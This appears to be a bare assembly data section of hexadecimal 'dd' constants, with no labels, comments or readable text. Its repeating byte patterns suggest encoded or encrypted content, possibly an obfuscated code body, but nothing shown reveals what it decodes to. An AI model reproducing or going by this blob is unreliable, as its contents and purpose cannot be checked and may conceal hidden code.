		dd 0A0D15C2Ch, 5A3255B3h, 5C4DA70Fh, 0D14858A8h, 7C7B39Fh
		dd 0D9B9106h, 0B09BDD1h, 5D30F0Eh, 0D978F950h, 9ED14849h
		dd 0D8806D5Bh, 0B6DB4849h, 65E75756h, 4849D99Ch, 0B350B7DBh
		dd 4CEF5712h, 5415D323h, 2154EF57h, 0AA599259h,	0F9A40DD1h
		dd 4849D9F4h, 58A7A55Dh, 2E9A6158h, 6DE75741h, 4849D994h
		dd 0F950B6DBh, 4849D9D8h, 5958585Dh, 0A41D7158h, 6DD351B3h
		dd 4849D928h, 0D35CB6DBh, 0D13EA40Dh, 571F234Ch, 0D9FC5DE7h
		dd 98DB4849h, 2A9F6142h, 7A8D1F0h, 9B910306h, 0DBBDD10Dh
		dd 0E0B70B4h, 581BE60Fh, 4DB35858h, 0D8B045D3h,	455B4849h
		dd 4849D984h, 0ED44D113h, 48493378h, 2A6DB1Eh, 1BE7BE2Eh
		dd 0B1585858h, 585859FBh, 49DDFB30h, 3762B048h,	80FA7A7h
		dd 0BAA05D5h, 1704DA7h,	58F94855h, 5B4849D9h, 49D9E45Dh
		dd 57B0DB48h, 7C4DA708h, 0DB485501h, 45D34C9Ch,	4849DA74h
		dd 615FB3DBh, 3378E544h, 1D2C4849h, 405DE757h, 0DB4849D9h
		dd 1DD150B0h, 0B41DD5B4h, 0E56CA708h, 48493378h, 1144DA7h
		dd 25D94849h, 58595BB4h, 0A7462C58h, 3378E56Ch,	4DA74849h
		dd 48511110h, 7045E757h, 0DB4849D9h, 44D15DB3h,	493378E5h
		dd 0AA1DD548h, 3C4DA708h, 0D1484901h, 0A0DBA41Dh, 0DB1A2C5Bh
		dd 652C5CA0h, 2C5AA0DBh, 1445D360h, 5B4849DAh, 49D8B845h
		dd 57B3DB48h, 78E54461h, 57484933h, 5858BDDCh, 45E75758h
		dd 4849D89Ch, 0D9E8455Bh, 0B3DB4849h, 0E544D155h, 48597DB8h
		dd 585891B1h, 0A7593258h, 5957984Dh, 841DD548h,	0BC1DD508h
		dd 0B81DD508h, 0B01DD508h, 0AA1DD508h, 0D04DA708h, 0D3485978h
		dd 49D9B445h, 5BB3DB48h, 762D8061h, 0D96C45D3h,	0B3DB4849h
		dd 0E544615Ah, 48493378h, 58DCDC57h, 45D35858h,	4849D904h
		dd 0D978455Bh, 0B3DB4849h, 0E544D154h, 48597DB8h, 45D334B3h
		dd 4849D8E4h, 0A04DE757h, 594849D8h, 5DB3DB8Bh,	78E54461h
		dd 2D484933h, 0E564D109h, 48597DB8h, 8801DD5h, 49D8E4F9h
		dd 4DE75748h, 4849D9C8h, 0B0DB8859h, 44D50850h,	597DB8E5h
		dd 47300B48h, 0D3485816h, 49D95845h, 0B0455B48h, 0DB4849D8h
		dd 0D30B52B3h, 49D95445h, 5AB3DB48h, 784DA70Bh,	0D1484937h
		dd 3378E55Ch, 0DB1F4849h, 0DE5702A7h, 0A7A7A60Ch, 49D9E8F9h
		dd 5FB0DB48h, 7C4DA708h, 1485501h, 0A7A66DB1h, 30607A7h
		dd 585C9A91h, 0FBDD10Dh, 0A7502DA7h, 49DA206Dh,	0F44DA748h
		dd 0D1485979h, 9B05079Fh, 0BBDD10Dh, 2DD30F0Eh,	4825D354h
		dd 49C2C030h, 4DA70E48h, 48550164h, 482C9851h, 0D1501DD3h
		dd 0D36FA75Fh, 5C0BA740h, 0DB39869h, 49C24030h,	4DA70E48h
		dd 48550164h, 482C9851h, 0D1501DD3h, 0D36FA75Fh, 5C0BA740h
		dd 6DB39869h, 49C18030h, 4DA70E48h, 48550164h, 482C9851h
		dd 0D1501DD3h, 0D36FA75Fh, 5C0BA740h, 4DB39869h, 49DA54F9h
		dd 0C05D5B48h, 0DB4849D8h, 5FD155B0h, 58185AE0h, 30607D8h
		dd 58549A05h, 0DDCD300Fh, 89B04849h, 1A7A734h, 0C04DA708h
		dd 0FB48597Dh, 4849DA28h, 0F05DE757h, 614849D8h, 49DA285Dh
		dd 304F2D48h, 4849DDDFh
		dd 0A734F3B0h, 0A70801A7h, 5D6A404Dh, 0DA28FB48h, 58F94849h
		dd 5B4849D9h, 49D9F85Dh, 49B0DB48h, 0DA285D61h,	442C4849h
		dd 3C5DE757h, 0DB4849D9h, 0A7085C98h, 49DA286Dh, 0F44DA748h
		dd 0FB485979h, 4858A87Ch, 0D10D9B07h, 70B4DBBDh, 0D30F0E0Bh
		dd 0D31E542Dh, 49DA6465h, 479FDB48h, 98DDA8D1h,	0A75D5D25h
		dd 99585858h, 45D350A0h, 4849D898h, 0D15F9BDBh,	8BF7579Ah
		dd 25D18F59h, 6C65D3A0h, 0DB4849D9h, 0A8D14B9Fh, 5D2598DDh
		dd 5858A75Dh, 50A09958h, 0AC45E757h, 0DB4849D8h, 9AD1579Bh
		dd 598BF757h, 0AC25D18Fh, 0D9AC65D3h, 9FDB4849h, 0DDA8D140h
		dd 5D5D2598h, 5858A7A7h, 5748A099h, 0D91C45E7h,	55D34849h
		dd 4849D9D8h, 4B5304D5h, 0F7579AD1h, 0D18F598Bh, 0A8D1A825h
		dd 5858A77Dh, 0ACB00858h, 0D1A7A7A2h, 0B705D09Bh, 3DAFA8D1h
		dd 0BC1DD1A8h, 5858A77Dh, 84B00858h, 0D1A7A7A2h, 0B605D09Bh
		dd 3DAFA8D1h, 0B81DD1A0h, 5858A77Dh, 9CB00858h,	0D1A7A7A2h
		dd 0A705D09Bh, 49D890F9h, 2898DB48h, 0F757AAD1h, 7D88D188h
		dd 585858A7h, 2AE7B008h, 9BD1A7A7h, 57B505D0h, 0DA485DE7h
		dd 4DD34849h, 4849D97Ch, 5D481CD5h, 0F757AAD1h,	7D88D188h
		dd 585858A7h, 2ACFB008h, 9BD1A7A7h, 0F9B405D0h,	4849D930h
		dd 0D17598DBh, 88F757AAh, 0A77D88D1h, 8585858h,	0A72A20B0h
		dd 0D09BD1A7h, 0A8D1B305h, 0D1AC3DAFh, 0A77D841Dh, 8585858h
		dd 0A7A21EB0h, 0D09BD1A7h, 90F9B205h, 0DB4849D8h, 0AAD11A98h
		dd 0D188F757h, 58A77D88h, 0B0085858h, 0A7A7A27Fh, 5D09BD1h
		dd 0DA5CF9B1h, 98DB4849h, 4DE7571Dh, 4849D8CCh,	0AAD18859h
		dd 0D188F757h, 58A77D88h, 0B0085858h, 0A7A72A41h, 0D17C9CDBh
		dd 0B005D09Bh, 0A725EE57h, 0B089A0D1h, 886DE757h, 5B4849D8h
		dd 49D92C6Dh, 53B6DB48h, 1DD1BEAFh, 619ED180h, 301E2DA6h
		dd 4849DD35h, 0A732C7B0h, 25EE57A7h, 0EE570FB1h, 570FB025h
		dd 0FB625EEh, 0B325EE57h, 25EE570Fh, 0EE570FB7h, 570FB525h
		dd 0FB225EEh, 0B425EE57h, 25EE570Fh, 0A7080FA7h, 4DA7502Dh
		dd 48550170h, 0B3689CDBh, 0DD0A301Ch, 1B04849h,	57A7A732h
		dd 0FB125EEh, 0B025EE57h, 25EE570Fh, 0EE570FB6h, 570FB325h
		dd 0FB725EEh, 0B525EE57h, 25EE570Fh, 0EE570FB2h, 570FB425h
		dd 0FA725EEh, 502DA708h, 1704DA7h, 9CDB4855h, 3060768h
		dd 0D10D9B91h, 0B0809BDh, 2DA70F0Eh, 404DA750h,	0D1485D6Ah
		dd 0D8B4F99Bh, 61104849h, 15DC579Bh, 30585859h,	4849DD15h
		dd 0A731B7B0h, 0A70B08A7h, 5979F44Dh, 0A850FB48h, 10304858h
		dd 0B04849DDh, 0A7A73180h, 8509CDBh, 0F44DA70Bh, 0FB485979h
		dd 4859585Ch, 49D8C8F9h, 5CB0DB48h, 585C5D61h, 0DC574859h
		dd 58585950h, 49D8FCF9h, 5FB0DB48h, 0A8505D61h,	0DC574858h
		dd 585858ACh, 8A01DD5h,	8A41DD5h, 585C4DA7h, 9FD14859h
		dd 49DA58F9h, 0A05D5B48h, 0DB4849D9h, 0A0615AB0h, 0A70B542Bh
		dd 4933444Dh, 589EB148h, 6DD35858h, 4849D94Ch, 0F9A69EDBh
		dd 4849D9F8h, 655B9FD1h, 4849D9DCh, 0B354B7DBh,	0A00DD375h
		dd 78E54C61h, 2D485D6Ah, 0D3A6D178h, 4C61A40Dh,	510178E5h
		dd 0B4A2A48h, 33444DA7h, 2DA74849h, 544DA750h, 0B34858A8h
		dd 65631F27h, 4849DAFCh, 4CF9932Ah, 0DB4849DAh,	0E757A498h
		dd 49D8F04Dh, 61885948h, 0A7752C9Eh, 108ED6Ch, 4DA74855h
		dd 48493344h, 0D1A425D3h, 178ED64h, 65D34851h, 4858A850h
		dd 0B8ED64D1h, 0D1485971h, 108ED44h, 6CB34855h,	0DAFC65D3h
		dd 0DD34849h, 0E54CD1A0h, 485D6A78h, 8E544D1h, 0D3485501h
		dd 58A85045h, 0E544D148h, 485971B8h, 0D1A405D3h, 178E544h
		dd 5DA74851h, 4849DAFCh, 91030607h, 0BDD10D9Bh,	5E46FCE0h
		dd 4B0FB058h, 0E0B5858h, 5405D30Fh, 49D9D8F9h, 4DE75748h
		dd 4849D940h, 0B0DB8859h, 4CF90850h, 104849D9h,	0F95B3208h
		dd 4849D890h, 0B8F90810h, 0DB4849D8h, 30085EB0h, 0D8585858h
		dd 0A7502DA7h, 4933404Dh, 0E0DDD148h, 0DBA7A4A9h, 0A4A8F0FDh
		dd 0FDDB58A7h, 0A7A4A9E8h, 0A7A0DB58h, 5D6CDC57h, 8CF95858h
		dd 5B4849D8h, 49D9B45Dh, 50B0DB48h, 0ECDDD508h,	8A7A4A9h
		dd 49D92CF9h, 2498DB48h, 0D8B45D5Bh, 0D5084849h, 0A4A999DDh
		dd 0EDA708A7h, 0A7A4A9E0h, 0A86C4DA7h, 0DDD14858h, 0A7A4A9E4h
		dd 49D8E8F9h, 4DE75748h, 4849D95Ch, 0B0DB8859h,	0E4DD615Dh
		dd 57A7A4A9h, 585CE3DCh, 9CE5D858h, 60A7A4A9h, 0E5D84A2Dh
		dd 0A7A4A99Dh, 0D8512D61h, 0A4A99EE5h, 5D2C39A7h, 585CC3B1h
		dd 99E5D858h, 1FA7A4A9h, 0E5D84A2Dh, 0A7A4A99Ah, 0D8512D11h
		dd 0A4A99BE5h, 5D2C1EA7h, 585C23B1h, 0DDEE5758h, 0A7A4A9B3h
		dd 0D9BC4DD3h, 9ADB4849h, 2D88616Fh, 1AE5D84Ah,	65A7A4AAh
		dd 0E5D8512Dh, 0A7A4AA1Bh, 0B15D2C65h, 58585C08h, 1E2D8351h
		dd 0A72FF0B0h, 0D09AD1A7h, 0A1BB3ACDh, 1CDDD2A7h, 0D0A7A4AAh
		dd 0A1BB3BDDh, 0D8E4F9A7h, 0E4D84849h, 0A4AA1C5Dh, 542D18A7h
		dd 0A9E8DD9Fh, 5859A7A4h, 4AB35858h, 0BB3ADDD2h, 0DD62A7A1h
		dd 0A7A1BB3Bh, 5C5EDC57h, 80F95858h, 0DB4849D8h, 0D5085EB0h
		dd 0A4A9ECDDh, 183008A7h, 0D5585B55h, 0A1BB30DDh, 0EDA708A7h
		dd 0A7A4A9E0h, 0A86C4DA7h, 0DDD14858h, 0A7A4A9E4h, 49D8E8F9h
		dd 5DB0DB48h, 0A9E4DD61h, 0DC57A7A4h, 58585B9Ch, 0A9ECDDD3h
		dd 4DD3A7A4h, 4849D958h, 0D051B2DBh, 0BB305DCCh, 1830A7A1h
		dd 0D5585B55h, 0A4AA98DDh, 0DDD508A7h, 0A7A1BB30h, 5E37B008h
		dd 9CDB5858h, 579ED154h, 0D89465E7h, 0B3174849h, 2C83511Dh
		dd 0DCEE574Bh, 0A4AA9865h, 0D0A071A7h, 0AA9865DCh, 75B3A7A4h
		dd 65DCEE57h, 0A7A4AA98h, 0BA04DDD1h, 0A0D1A7A1h, 0DDD1BFAFh
		dd 0A7A1BA00h, 0BA04DDD3h, 0CDD3A7A1h, 0A7A1BA00h, 0DCD08871h
		dd 0A4AA9865h, 0AF611FA7h, 8351EF2Ah, 0E7577B2Ch, 49D8885Dh
		dd 5DB0DB48h, 9A71AAD1h, 49D97CF9h, 0D05D5B48h,	0DB4849D9h
		dd 0DCD05FB0h, 0A4AA984Dh, 0D948F9A7h, 4DD34849h, 4849D930h
		dd 0D9204D5Bh, 0B2DB4849h, 5DCCD053h, 0A7A4AA63h, 5858A730h
		dd 3BDDD558h, 8A7A1BAh,	0A9B4DDD5h, 0B008A7A4h,	58585DE5h
		dd 0BA3BDDD5h, 0E08A7A1h, 0AA98DDD5h, 0B008A7A4h, 0A7A736F6h
		dd 0D1409CDBh, 0A4A9E4DDh, 0D990F9A7h, 0E7574849h, 49D9C04Dh
		dd 0DB885948h, 0DD6151B0h, 0A7A4A9E4h, 5AF2DD57h, 0DD9F5858h
		dd 0A7A4A8F0h, 58585859h, 0DC578351h, 58585918h, 49D988F9h
		dd 0A05D5B48h, 0D84849D9h, 0AAEE5DE4h, 573CA7A4h, 5858CDDDh
		dd 0DDEE5758h, 0A7A4AA99h, 3C4DE757h, 0DB4849D9h, 8871479Ah
		dd 0BA3ADDD0h, 0EE57A7A1h, 0A1BA3ADDh, 0E8F908A7h, 5B4849D8h
		dd 49DA5C5Dh, 5FB0DB48h, 0D353B008h, 6CF9A7A7h,	574849DAh
		dd 0D9FC4DE7h, 88594849h, 0FB56B0DBh, 48597D88h, 49D9A4F9h
		dd 0DAF8FB48h, 88F94849h, 5B4849D9h, 49D9485Dh,	4DE75748h
		dd 4849DA48h, 0D9244D5Bh, 0B2DB4849h, 5DCCD054h, 0A7A4AAEAh
		dd 49D9F4F9h, 85D5B48h,	0DB4849D9h, 0D5085DB0h,	0A4AA98DDh
		dd 0DEB008A7h, 0DB58585Fh, 0E4F9489Ch, 0D84849D8h, 0AA985DE4h
		dd 573FA7A4h, 58598FDDh, 0D8FCF958h, 4DD34849h,	4849D9B4h
		dd 0F055E757h, 594849D8h, 5BB2DB92h, 9B5DCCD0h,	0D5A7A4AAh
		dd 0A4AA99DDh, 4DA708A7h, 48595844h, 0BA04DDD1h, 3008A7A1h
		dd 48490128h, 0A7A001B0h, 0D98CF9A7h, 5D5B4849h, 4849D9B4h
		dd 0FB53B0DBh, 48597D88h
		dd 49D8F8F9h, 905D5B48h, 0DB4849D9h, 0F8FB53B0h, 0F94849DAh
		dd 4849D978h, 85FB0DBh,	0AA98DDD5h, 0B008A7A4h,	58585EA1h
		dd 0B14C9CDBh, 58585900h, 0A9E8E5DBh, 2C58A7A4h, 284DA72Fh
		dd 0D1484902h, 0A1BA04DDh, 0DD6130A7h, 39B04849h, 0A7A7A73Ch
		dd 0A1BA04EDh, 0FC4DD3A7h, 124849D8h, 0CDD5080Ah, 0A7A1B905h
		dd 704DA70Ah, 0D5485501h, 0A4A8F4DDh, 0E75708A7h, 49D8CC5Dh
		dd 5AB0DB48h, 0DA4CF908h, 0B0DB4849h, 4432085Bh, 0CC5DE757h
		dd 104849D9h, 584DA708h, 0D5485D72h, 0A1B905DDh, 0DDD508A7h
		dd 0A7A4A8F4h, 744DA708h, 0DB4858A8h, 76B3449Ch, 49D978F9h
		dd 0D5081048h, 0A4A8F4DDh, 0B7B008A7h, 30A7A7DEh, 4849DD69h
		dd 0A73BBBB0h, 0CDD508A7h, 0A7A4A8F4h, 744DA70Ah, 0DB4858A8h
		dd 78F94C9Ch, 0DB4849D9h, 300850B0h, 585858D8h,	0E7575A32h
		dd 49D8C45Dh, 0F45D5B48h, 0DB4849D9h, 570850B0h, 0D9945DE7h
		dd 0B0DB4849h, 58300851h, 0D5185858h, 0A4A8F4DDh, 4DA708A7h
		dd 48493340h, 0BB3CDDD1h, 74F9A7A1h, 574849DAh,	0DA184DE7h
		dd 88594849h, 857B0DBh,	0A9ECDDD5h, 0E08A7A4h, 0AA98DDD5h
		dd 0A708A7A4h, 0A1BB3CEDh, 444DA7A7h, 0A7484937h, 0A1BB3CEDh
		dd 104DA7A7h, 0DB485111h, 0A4A9E8E5h, 472D58A7h, 0DDD55D32h
		dd 0A7A4A8F4h, 0CC4DA708h, 57485978h, 0BB3BDDEEh, 0B008A7A1h
		dd 0A7A72D9Bh, 0B05DB301h, 0A7A7256Ah, 0A9E0EDA7h, 4DA7A7A4h
		dd 48511110h, 0A8F0E5DBh, 2C58A7A4h, 502DA751h,	0A8544DA7h
		dd 6074858h, 0D9B9103h,	0E757BDD1h, 49DA505Dh, 4DE75748h
		dd 4849D994h, 0B0DB8859h, 4DA70852h, 4855017Ch,	0D914F901h
		dd 5D5B4849h, 4849D958h, 853B0DBh, 5812DB30h, 0D8FCF948h
		dd 0B0DB4849h, 4DA7085Fh, 48595848h, 9A0598B3h,	0D10D585Ch
		dd 5868E0BDh, 36B05859h, 0B585855h, 0E7570F0Eh,	49D99C5Dh
		dd 50B0DB48h, 579C5D61h, 0DC574859h, 58585A1Ch,	49D918F9h
		dd 585D5B48h, 0DB4849D9h, 0A70852B0h, 49D9D86Dh, 0D92CF948h
		dd 0B0DB4849h, 1DD5085Fh, 4DA708A4h, 4859579Ch,	54F99BD1h
		dd 574849DAh, 0D8CC4DE7h, 88594849h, 615EB0DBh,	59DD579Bh
		dd 0D558585Ah, 5708B01Dh, 0D9C05DE7h, 5D5B4849h, 4849D9B4h
		dd 85CB0DBh, 49D958F9h,	51B0DB48h, 0A41DD308h, 0A760D308h
		dd 9BD1600Fh, 1C5DE757h, 574849D9h, 0D8EC4DE7h,	88594849h
		dd 6151B0DBh, 0F1DD579Bh, 57585859h, 0D89C5DE7h, 0B0DB4849h
		dd 1DD5085Eh, 0E75708B4h, 49D8A05Dh, 5CB0DB48h,	0B01DD308h
		dd 0A760D308h, 9BD1540Fh, 49D898F9h, 4DE75748h,	4849D9A8h
		dd 0B0DB8859h, 579B6150h, 58596BDDh, 0BC1DD558h, 5DE75708h
		dd 4849D9FCh, 85EB0DBh,	8B41DD5h, 49D990F9h, 5C5D5B48h
		dd 0DB4849DAh, 0D30852B0h, 0D308A41Dh, 640FA760h, 0A0F99BD1h
		dd 5B4849D9h, 49D8845Dh, 5FB0DB48h, 0DB2D9B61h,	49D948F9h
		dd 51B0DB48h, 8C1DD508h, 0D978F908h, 0E7574849h, 49D8F04Dh
		dd 0DB885948h, 0D3085FB0h, 0D308BC1Dh, 540FA760h, 70F99BD1h
		dd 0DB4849DAh, 9B6150B0h, 0A711DD57h, 84F9A7A7h, 574849D9h
		dd 0D9C04DE7h, 88594849h, 0DDD50810h, 0A7A6A788h, 8C1DD508h
		dd 0B41DD508h, 0D9ACF908h, 0B0DB4849h, 1DD30851h, 60D308A4h
		dd 0D1700FA7h, 5DE7579Bh, 4849DA50h, 0DA6C5D5Bh, 4DD34849h
		dd 4849D8B0h, 7055E757h, 594849D9h, 5EB2DB92h, 945DCCD0h
		dd 57A7A6A7h, 0D9FC5DE7h, 5D5B4849h, 4849D908h,	6152B0DBh
		dd 0D5402D9Bh, 0A6A78DDDh, 0DDD308A7h, 0A7A6A788h, 0B05C28A7h
		dd 0A7A72987h, 0D5509CDBh, 0A6A78DDDh, 2DD508A7h, 48B4DB8Ch
		dd 5CE1BFD1h, 0AB585858h, 0B42DD5FDh, 0D148B4DBh, 585CE1BFh
		dd 0FDAB5858h, 0B0A42DA7h, 0A7A7C14Dh, 0B1709CDBh, 0A7A7A754h
		dd 49D94CF9h, 0F45D5B48h, 0DB4849D8h, 1D6150B0h, 0D3512CBCh
		dd 0D308BC1Dh, 500EA768h, 49D8C0F9h, 805D5B48h,	0DB4849D9h
		dd 1D6155B0h, 0D3512CB0h, 0D308B01Dh, 500EA768h, 49D8B4F9h
		dd 1D611048h, 0D3512CA4h, 0D308A41Dh, 500EA768h, 91030607h
		dd 0BDD10D9Bh, 5C44B4D9h, 0E0B5858h, 6DE7570Fh,	4849D8F0h
		dd 0E75745B3h, 49D93C4Dh, 55E75748h, 4849D9C8h,	0B2DB9259h
		dd 0D182AF50h, 0A458EDCCh, 0F91EA7A7h, 4849D97Ch, 5858A65Dh
		dd 2A9E6158h, 0D9C4F98Dh, 0E7574849h, 49DA1C4Dh, 0DB885948h
		dd 0DDD153B0h, 0A7A7A3A4h, 0D97465D3h, 9FDB4849h, 5DE7577Fh
		dd 4849D894h, 43B39F59h, 0DA6C4DD3h, 4D5B4849h,	4849D9ACh
		dd 0D155B2DBh, 0D18959A1h, 0A458E5D4h, 0F91FA7A7h, 4849DA60h
		dd 616298DBh, 0D3812A9Fh, 0E7575405h, 49DA1C6Dh, 5FB6DB48h
		dd 9C65E757h, 0DB4849D8h, 6FB35EB7h, 5C4DE757h,	0DB4849D9h
		dd 0A1D1199Ah, 0E4D18959h, 0A7A458D5h, 584DD3A7h, 0DB4849D9h
		dd 0A1D1009Ah, 4DD38959h, 4849D9E4h, 0D14C9ADBh, 0D18859A0h
		dd 0A458D5DCh, 571FA7A7h, 0D91C5DE7h, 0E7574849h, 49D8C44Dh
		dd 481CD548h, 2A9F6148h, 984DD3EBh, 0D34849D8h,	49D8E455h
		dd 6799DB48h, 0ECCDD4D1h, 57A7A7A4h, 0D9C04DE7h, 55D34849h
		dd 4849D9B4h, 5B6C99DBh, 49D98855h, 0CDD4D148h,	0A7A7A4F0h
		dd 705DE757h, 5B4849D9h, 49DA705Dh, 55B0DB48h, 0A3ACDDD1h
		dd 1DD3A7A7h, 541D5B48h, 0A3A0DDD1h, 25D3A7A7h,	5919B150h
		dd 0E6575858h, 5ABA994Fh, 584DECD3h, 0F9A7A7A4h, 4849D9ECh
		dd 0AF5BB0DBh, 579E6180h, 585979DCh, 0A4DDD358h, 51A7A7A3h
		dd 55D45798h, 0DB585859h, 0D7575BA0h, 5858595Ch, 38DD7CA7h
		dd 0A74849DCh, 0A7A3A4DDh, 58AAB1A7h, 0CDD35858h, 0A7A7A3ACh
		dd 1855E757h, 0DB4849DAh, 88D15EB1h, 0DDD1B88Bh, 0A7A7A3B0h
		dd 0BADBAAD1h, 4C55D368h, 5B4849D9h, 49DA5855h,	5AB1DB48h
		dd 0A08B88D1h, 0A3B0CDD3h, 9A51A7A7h, 0A3ABCDD0h, 80D1A7A7h
		dd 0ABCDD21Bh, 0D0A7A7A3h, 0A4DDA748h, 0B1A7A7A3h, 585858C4h
		dd 0A3ACCDD3h, 0BADBA7A7h, 55E75757h, 4849D9C0h, 49DA60F9h
		dd 5914D548h, 8B88D15Bh, 0BCDDD1B8h, 0D1A7A7A3h, 64BADBAAh
		dd 0D8B855D3h, 555B4849h, 4849D9A4h, 0D15CB1DBh, 0D3A08B88h
		dd 0A7A3BCCDh, 0D09A51A7h, 0A7A3ABCDh, 1B80D1A7h, 0A3ABCDD2h
		dd 48D0A7A7h, 0A3A4DDA7h, 18B3A7A7h, 0A3ACCDD3h, 0BADBA7A7h
		dd 55E7575Bh, 4849D940h, 0D9F8555Bh, 0B1DB4849h, 8B88D152h
		dd 519AD1B8h, 0ABCDD0AAh, 0D1A7A7A3h, 0CDD21B80h, 0A7A7A3ABh
		dd 50F948D0h, 0DB4849D9h, 0DDD150B0h, 0A7A7A3A4h, 0A3ACEDD1h
		dd 0D81FA7A7h, 542C5867h, 0A3A0C563h, 0DA57A7A7h, 0A7A7A6F6h
		dd 2D5867D8h, 7380D15Fh, 50B3541Dh, 49D984F9h, 80AF1848h
		dd 91030607h, 0BDD10D9Bh, 0F0E0B09h, 0A85DE757h, 0DB4849D9h
		dd 30085EB0h, 585858D8h, 20F95C32h, 5B4849D9h, 49D9EC5Dh
		dd 55B0DB48h, 0D978F908h, 0E7574849h, 49D9F04Dh, 0DB885948h
		dd 300850B0h, 18585858h, 516A6830h, 404DA748h, 0D1484933h
		dd 0F958329Fh, 4849D9E0h, 0D8985D5Bh, 0B0DB4849h, 2DA7085Eh
		dd 4DA70F54h, 48493768h, 0D1501DD3h, 0A790DB99h, 5964D818h
		dd 0D1A12D58h, 0B845D39Eh, 0DB4849D9h, 0D50B5CB3h, 0E0BA405h
		dd 0F502DA7h, 37444DA7h, 0A70F4849h, 5111104Dh,	3060748h
		dd 300F9B91h, 4849DD79h, 0A704BFB0h, 0A70801A7h, 597DC04Dh
		dd 0DA30FB48h, 0E7574849h, 49D9C85Dh, 50B0DB48h, 0DA305D61h
		dd 4F2D4849h, 49DD4930h, 4E6B048h, 801A7A7h, 6A404DA7h
		dd 30FB485Dh, 304849DAh
		dd 4849DD58h, 0A704FFB0h, 6DA708A7h, 4849DA30h,	79F44DA7h
		dd 6CFB4859h, 30484937h, 4849DCB6h, 0A704D3B0h,	6DA708A7h
		dd 4849DA30h, 79F44DA7h, 54FB4859h, 30485958h, 4849DC86h
		dd 0A70437B0h, 6DA708A7h, 4849DA30h, 79F44DA7h,	1CFB4859h
		dd 30484928h, 4849DC97h, 0A7040BB0h, 6DA708A7h,	4849DA30h
		dd 79F44DA7h, 10FB4859h, 304858A8h, 4849DCE7h, 0A7046FB0h
		dd 4C9CDBA7h, 306DA708h, 0A74849DAh, 5979F44Dh,	6A7CFB48h
		dd 9B074851h, 0D9BDD10Dh, 585900B4h, 0F0E0B58h,	0A73663B0h
		dd 3C44B0A7h, 4BB0A7A7h, 0B0A7A7A7h, 0A7A7B1D6h, 0A7B747B0h
		dd 0E08AB0A7h, 0E7B0A7A7h, 0B0A7A7E1h, 0A7A7F454h, 0A724B0B0h
		dd 9B05B0A7h, 0CEB0A7A7h, 0D1A7A798h, 350DB09Eh, 9AD1A7A7h
		dd 0A6E4CDD0h, 0EE57A7A7h, 0A7A6E4DDh, 584DD3A7h, 5B4849DAh
		dd 49DA104Dh, 5FB2DB48h, 4D2D8861h, 49D8C8F9h, 505D5B48h
		dd 0DB4849D9h, 0A70853B0h, 4901384Dh, 0DDEE5748h, 0A7A7A6E4h
		dd 0D9344DD3h, 0B2DB4849h, 2D88615Ch, 0D954F940h, 98DB4849h
		dd 805D5B04h, 84849D8h,	17C4DA7h, 0B3014855h, 57AE51C0h
		dd 585887DDh, 0DCEC3058h, 39B04849h, 0D1A7A703h, 0A7A6E8DDh
		dd 0DCF230A7h, 9B04849h, 8A7A703h, 0A6E8CDD3h, 0D50AA7A7h
		dd 0A7A6E5CDh, 4DA70AA7h, 48550170h, 0A6E5DDD5h, 3208A7A7h
		dd 0DA68F958h, 0E7574849h, 49D9404Dh, 0DB885948h, 0A70851B0h
		dd 5101504Dh, 309FD148h, 4849DCC6h, 0A70357B0h,	0F4DDD1A7h
		dd 30A7A7A6h, 4849DCCCh, 0A702A7B0h, 6C4DD3A7h,	574849DAh
		dd 0D8AC55E7h, 92594849h, 0A5CB2DBh, 0F4CDD308h, 0AA7A7A6h
		dd 0A6E5CDD5h, 0A70AA7A7h, 5501704Dh, 749CDB48h, 0A6E5DDD5h
		dd 3208A7A7h, 846DA759h, 0A74849D9h, 5101504Dh,	0F99FD148h
		dd 4849D898h, 615AB0DBh, 0A7542D9Fh, 49DA7C6Dh,	384DA748h
		dd 0F9484901h, 4849D8B8h, 57A998DBh, 0D9404DE7h, 88594849h
		dd 4DA70F08h, 48550178h, 3C5DE757h, 104849D9h, 0C04DA708h
		dd 0D148597Dh, 325DD59Bh, 0D1485806h, 1D9F981Dh, 58585D80h
		dd 5DE75758h, 4849D9CCh, 9A599AD1h, 0B0DB88D1h,	881DD15Ah
		dd 0C85DE757h, 0DB4849D9h, 1DD150B0h, 9405D18Ch, 49DA44F9h
		dd 905D5B48h, 0DB4849D9h, 1DD154B0h, 0E41D9F90h, 5858585Bh
		dd 49DCD230h, 27EB048h,	1DD1A7A7h, 0D898F9B8h, 5D5B4849h
		dd 4849D8E0h, 0D15EB0DBh, 34F99C1Dh, 0DB4849D9h, 1DD15DB0h
		dd 0E41DD584h, 0C84DA708h, 30485978h, 4849CF9Bh, 0A701ABB0h
		dd 0F0DDD1A7h, 30A7A7A6h, 4849DCD8h, 0A701BBB0h, 0AC4DD3A7h
		dd 0DB4849D9h, 0B0A51B2h, 9C4DE757h, 5B4849D9h,	49D9184Dh
		dd 51B2DB48h, 0E04DD30Ah, 0DB4849D9h, 0D30A5CB2h, 49D88C4Dh
		dd 55E75748h, 4849DA48h, 0B2DB9259h, 4DD30A52h,	4849D8FCh
		dd 0D88455D3h, 89594849h, 953B1DBh, 0D9E855D3h,	555B4849h
		dd 4849D990h, 957B1DBh,	0D97C4D5Bh, 0B2DB4849h,	58300A51h
		dd 8589258h, 0A6F0CDD3h, 570AA7A7h, 0D9C04DE7h,	4D5B4849h
		dd 4849DA54h, 0A5DB2DBh, 11644DA7h, 98FB4851h, 0D548597Dh
		dd 0A7A6E0DDh, 0B00B08A7h, 0A7A722FFh, 0A6ECDDD1h, 5832A7A7h
		dd 0A7C34EB0h, 409CDBA7h, 0A6E0DDD3h, 9CFBA7A7h, 0D348597Dh
		dd 0A7A6ECDDh, 0A4FBA7h, 0AE514851h, 70B0402Dh,	0F9A7A7E1h
		dd 4849D8B0h, 0DA645D5Bh, 0FB104849h, 48550174h, 0E75749B3h
		dd 49D9B05Dh, 62C95D48h, 74FB5858h, 30485501h, 48589327h
		dd 0A721FBB0h, 0AE5101A7h, 75B0722Dh, 0B0A7A79Eh, 0A7A7AE46h
		dd 0A7910CB0h, 2A84B0A7h, 4CB3A7A7h, 8BC1DD5h, 3584DA7h
		dd 1DD54849h, 4DA708BCh, 48595840h, 3C5DE757h, 104849D9h
		dd 0D9E0F908h, 0B0DB4849h, 0E757085Ch, 49DA185Dh, 50B0DB48h
		dd 0BC1DD508h, 104DA708h, 5148516Dh, 7992D98h, 9A910306h
		dd 0D10D585Ch, 0CB4DBBDh, 0F90F0E0Bh, 4849D8E8h, 0D9245D5Bh
		dd 0B0DB4849h, 2DA70853h, 502DA748h, 0A7942EB0h, 549CDBA7h
		dd 0DDF41DD1h, 28DD5798h, 3058585Ah, 4849DC28h,	0A7D445B0h
